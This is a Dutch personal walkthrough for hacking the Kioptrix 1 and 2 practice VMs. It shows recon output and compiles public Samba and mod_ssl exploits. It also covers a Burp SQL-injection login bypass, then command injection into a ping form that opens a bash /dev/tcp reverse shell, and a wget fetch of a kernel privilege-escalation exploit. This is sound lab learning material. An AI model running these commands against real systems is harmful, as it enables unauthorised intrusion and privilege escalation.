KB » Computer » Hacken van de Kioptrix virtuele machines

Hacken van de Kioptrix virtuele machines

    Tweeten

Kioptrix 1

Doe: netdiscover -i eth1

Je krijgt dan 3 IP-adressen, maar je moet waarschijnlijk de laatste hebben (de 1e 2 horen bij VirtualBox).

Gebruik dit adres in: nmap -p- -A IP-adres
De -p- is om alle poorten te scannen, de -A voor host detection, etc.

Je krijgt o.a. dit te zien:

22/tcp open ssh OpenSSH 2.9p2 (protocol 1.99) | ssh-hostkey: | 1024 b8:74:6c:db:fd:8b:e6:66:e9:2a:2b:df:5e:6f:64:86 (RSA1) | 1024 8f:8e:5b:81:ed:21:ab:c1:80:e1:57:a3:3c:85:c4:71 (DSA) |_ 1024 ed:4e:a9:4a:06:14:ff:15:14:ce:da:3a:80:db:e2:81 (RSA) |_sshv1: Server supports SSHv1 80/tcp open http Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b |_http-title: Test Page for the Apache Web Server on Red Hat Linux 111/tcp open rpcbind 2 (RPC #100000) 139/tcp open netbios-ssn Samba smbd (workgroup: js7MYGROUP) 443/tcp open ssl/https?

Poort 139

1 van de open poorten is 139 (Samba): 139/tcp open netbios-ssn Samba smbd (workgroup: MYGROUP)

1 van de dingen die je kan proberen is smbclient -L IP_address

Ook interessant is enum4linux:

root@kali:/etc/samba# enum4linux -U -o 192.168.56.110 Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sun Mar 20 15:33:40 2022 ========================== | Target Information | ========================== Target ........... 192.168.56.110 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none

De -U staat voor lijst met users, de -o voor bepalen van het OS.

Je gebruikt Metasploit om te bepalen welke versie er draait (nmap -sV laat de versie niet zien):

msfconsole use auxiliary/scanner/smb/smb_version set RHOST 192.168.56.110 run

Als je in Google gaat zoeken naar samba exploit, evt. nog voorzien van versienummer (2.2.1a), dan kom je uit bij deze pagina van exploit-db.com

Op die pagina staat een stuk code, dat je kan downloaden. De naam is 10.c. Dat bestand compileer je met gcc 10.c -o 10 (naam van de output is 10).

Dat programma kan je starten (met ./10 -b 0 192.168.56.110), en dan heb je toegang tot Kioptrix1. Je kan dat controleren door commando's als whoami en pwd uit te voeren.

-b 0 staat voor het platform (Linux), en je kan ook nog -c IP-address toevoegen. Dat is het adres vanwaar je hackt, om een reverse connection te krijgen.

Poort 443

Nikto

Behalve met nmap, had je de info over Apache en de mod_ssl module ook met nikto kunnen krijgen.

Je krijgt een aantal false positives te zien, bv. over //etc/hosts. Er worden ook Wordpress-files gevonden, inclusief backdoor. Maar er draait geen Wordpress.

Je krijgt ook dit te zien:
+ OSVDB-682: /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS).

Als je naar http://192.168.56.110/usage/ gaat, zie je onderaan de pagina: Generated by Webalizer Version 2.01

Het lijkt er volgens cvedetails.com op dat exploitatie niet moeilijk is, maar Jony Schats denkt van wel. Voor exploitatie is nodig dat reverse DNS lookups geconfigureerd zijn, en dat is niet waarschijnlijk.

dirb

dirb http://192.168.56.110 levert dit op:

==> DIRECTORY: http://192.168.56.110/manual/ ==> DIRECTORY: http://192.168.56.110/mrtg/ ==> DIRECTORY: http://192.168.56.110/usage/ ---- Entering directory: http://192.168.56.110/manual/ ---- (!) WARNING: Directory IS LISTABLE. No need to scan it. (Use mode '-w' if you want to scan it anyway) ---- Entering directory: http://192.168.56.110/mrtg/ ---- + http://192.168.56.110/mrtg/index.html (CODE:200|SIZE:17318) ---- Entering directory: http://192.168.56.110/usage/ ---- + http://192.168.56.110/usage/index.html (CODE:200|SIZE:4840)

MRTG is de Multi Router Traffic Grapher, en als je naar de folder op de server toegaat zie je dat versie 2.9.6 draait.

mod_ssl module

Een andere optie is mod_ssl, een Apache module die met cryptografie te maken heeft (zie Wikipedia):
443/tcp open ssl/https Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b

O.a. kan je in exploit-db deze pagina vinden (OpenFuck v 2.c).

Helaas krijg je bij het compileren van 47080.c deze error:

47080.c:21:10: fatal error: openssl/ssl.h: No such file or directory 21 | #include | ^~~~~~~~~~~~~~~ compilation terminated.

Blijkbaar kan je hier een aangepaste versie vinden. Maar dat levert bij mij dezelfde error op.

Ergens wordt het volgende commando gegeven om te compileren:
gcc -Wall 47080.c -o exploit -lcrypto -lssl


Kioptrix 2

nmap scan:

22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99) | ssh-hostkey: | 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1) | 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA) |_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA) |_sshv1: Server supports SSHv1 80/tcp open http Apache httpd 2.0.52 ((CentOS)) |_http-server-header: Apache/2.0.52 (CentOS) |_http-title: Site doesn't have a title (text/html; charset=UTF-8). 111/tcp open rpcbind 2 (RPC #100000) 443/tcp open ssl/https? |_ssl-date: 2022-03-21T23:43:54+00:00; +3h59m58s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC2_128_CBC_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_RC4_128_WITH_MD5 |_ SSL2_RC4_64_WITH_MD5 631/tcp open ipp CUPS 1.1 | http-methods: |_ Potentially risky methods: PUT |_http-server-header: CUPS/1.1 |_http-title: 403 Forbidden 979/tcp open status 1 (RPC #100024) 3306/tcp open mysql MySQL (unauthorized) MAC Address: 08:00:27:B6:75:C2 (Oracle VirtualBox virtual NIC) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.30

Zet eerst proxy-instellingen in browser (127.0.0.1 en 8080). Normaal staat hij op no proxy.

Vervang de recentste Java (11?) door een oudere versie (8) met update-alternatives --config java. Bij mij werkt versie 8 juist niet.

Start dan burpsuite (4:10). Vanaf de command line moet je echt burpsuite intikken.

In de gratis versie kan je alleen temporary projecten hebben. Klik op Next en op Use Burp Defaults

Onder User Options en Display kan je evt. het lettertype vergroten (zowel in de sectie User Interface als HTTP Message Display (dialog). Je moet het programma wel herstarten.

5:30: Neem dezelfde proxy-instellingen (127.0.0.1 en 8080) als in Firefox, via tabbladen Proxy en Options. Klik op Intercept is off (tabblad Intercept).

Ga in de browser naar http://burp, en klik rechtsboven in het venster op CA Certificate om het certificaat te downloaden (klik op Save file (de file heet cacert.der).

6:35: Ga in de Preferences naar View Certificates (door in het zoekvak certificate in te tikken). Klik op Import in het tabblad Authorities.

Het certificaat zou in Downloads moeten staan. Klik op beide Trust...-checkboxes

7:14: Vervolgens kan je proberen Kioptrix2 als web server te bereiken via de browser. Helaas moet je dan een naam en password intikken.

Je kan proberen de source van de inlogpagina te bekijken, om te zien of het mechanisme heel simpel is.

Vervolgens zou je wat standaardcombinaties kunnen proberen, zoals admin, admin.

08:15: Als dat niet lukt ga je kijken naar SQL injection. Om te beginnen zet je Intercept on. Log in met iets willekeurigs, bv. test/test.

Schakel over naar Burp, waar je onder het tabblad Raw het request ziet. Rechtklik, en kies Send to Intruder. Ga dan naar het tabblad Intruder.

Klik op tabblad Positions, en dan op Clear$. Attack type moet Sniper blijven. Selecteer de username, en klik op Add$. Dan zelfde voor password.

09:14: Ga naar de Payloads tab. Zet de payloads uit het tekstdocument (lijst van mogelijke SQL injections uit de cursus) in je klembord, en klik op Paste. Dan klikken op Start Attack.

Op het tabblad Results kan je voor elk Request de Response bekijken. Er komen bij de resultaten maar 2 lengtes voor en de kortste (779) lijken te werken.

Selecteer 1 van die resultaten, en rechtsklik. Kies Request in browser en in original session. Zet intercepting uit.

11:45: Terug naar Firefox, en maak nieuw tabblad. Daar plak je de link uit Burp. Je krijgt dan een simpele interface om te pingen.

Wat je kan proberen is om meerdere commando's te koppelen, zoals
ping 127.0.0.1; ifconfig

Start in Kali een netcat listener:
nc -nlvp 4444, en plak het volgende in de web interface van het victim:
127.0.0.1; bash -i >& /dev/tcp/192.168.56.101/4444 0>&1 (het IP address van Kali).

Tik dan: python -c 'import pty; pty.spawn("/bin/sh")'
De c-optie betekent: commando volgt als string.
Het commando: de routine spawn binnen module pty wordt uitgevoerd, en die start een nieuwe shell. (Zie ook deze beschrijving.)

16:45: Als je nu ls doet zie je o.a. het bestand pingit.php
Je hebt geen root privileges.

Tik: lsb_release -a (resultaat: CentOS), en dan
uname -a (kernel 2.6.9).

17:50: Ga in Google zoeken naar mogelijkheden tot privilege escalation. Kopieer 9542.c naar Kali. Verhuis het naar de map /var/www/html, om het toegankelijk te maken vanaf Kioptrix.

Start Apache (Kali): service apache2 start Op Kioptrix: cd /tmp en wget http://IP_address/9542.c

gcc 9542.c -o 9542,
chmod +x 9542,
./9542

Dat werkt niet, en daarna probeer je 9545.c


Kioptrix 3


Kioptrix 4


Kioptrix 5


Kioptrix VMs challenge walkthrough (2018)
Een walkthrough van alle levels door Security Ninja.
Kioptrix level 1
Interessante, originele uitleg van level 1.
Kioptrix Level 1 Walkthrough

    Tweeten

© Henk Dalmolen
Reageer via E-mail (dalmolen@xs4all.nl)

Deze pagina is voor het laatst gewijzigd op: 15-02-23 15:02:23